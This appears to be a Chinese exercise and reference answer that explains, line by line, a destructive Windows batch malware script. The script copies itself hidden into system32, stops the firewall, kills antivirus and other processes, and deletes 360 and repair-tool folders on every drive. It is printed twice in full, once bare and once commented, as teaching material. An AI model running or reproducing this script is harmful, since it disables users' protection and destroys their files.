@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess >nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul
%s% /im norton* /f >nul
%s% /im av* /f >nul
%s% /im fire* /f >nul
%s% /im anti* /f >nul
%s% /im spy* /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV* /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul
%s% /im OUTPOST /f >nul
%s% /im nv* /f >nul
%s% /im nav* /f >nul
%s% /im F-* /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def* /f >nul
%s% /im 360safe.exe /f >nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
參考答案:@echo off
::关闭回显
title You DEAD!!!!!!!
::设置cmd窗口标题为 You DEAD!!!!!!!
set taskkill=s
::设置环境变量taskkill,这一句应该是set s=taskkill才对。因为这个错误,后面以%s%
::开头的语句都不能执行。
copy %0 %windir%\system32\cmd.bat
::把这个批处理复制一份到system32目录下,并命名为cmd.bat,这样如果没有cmd.exe就
::执行cmd.bat。
attrib %windir%\system32\cmd.bat +r +s +h
::将cmd.bat加上只读,系统和隐藏属性。
net stop sharedaccess >nul
::关闭防火墙并屏蔽掉结果显示。
::----------------------------------------------------
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul
%s% /im norton* /f >nul
%s% /im av* /f >nul
%s% /im fire* /f >nul
%s% /im anti* /f >nul
%s% /im spy* /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV* /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul
%s% /im OUTPOST /f >nul
%s% /im nv* /f >nul
%s% /im nav* /f >nul
%s% /im F-* /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def* /f >nul
%s% /im 360safe.exe /f >nul
::----------------------------------------------------
::上面用---包含起来的部分是强制结束进程,其中包括qq,因特网浏览器,资源管理器,
::和一些杀毒软件进程。
net stop Shadow" "System" "Service
::关闭System进程。
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
::设置环境变量alldrive为可能的盘符。
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q >nul
::删除各盘下以 360 为开头的文件夹里的所有东西。
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q >nul
::删除各盘下以 修复 为开头的文件夹里的所有东西。
::最后两行删除可能存在的修复工具。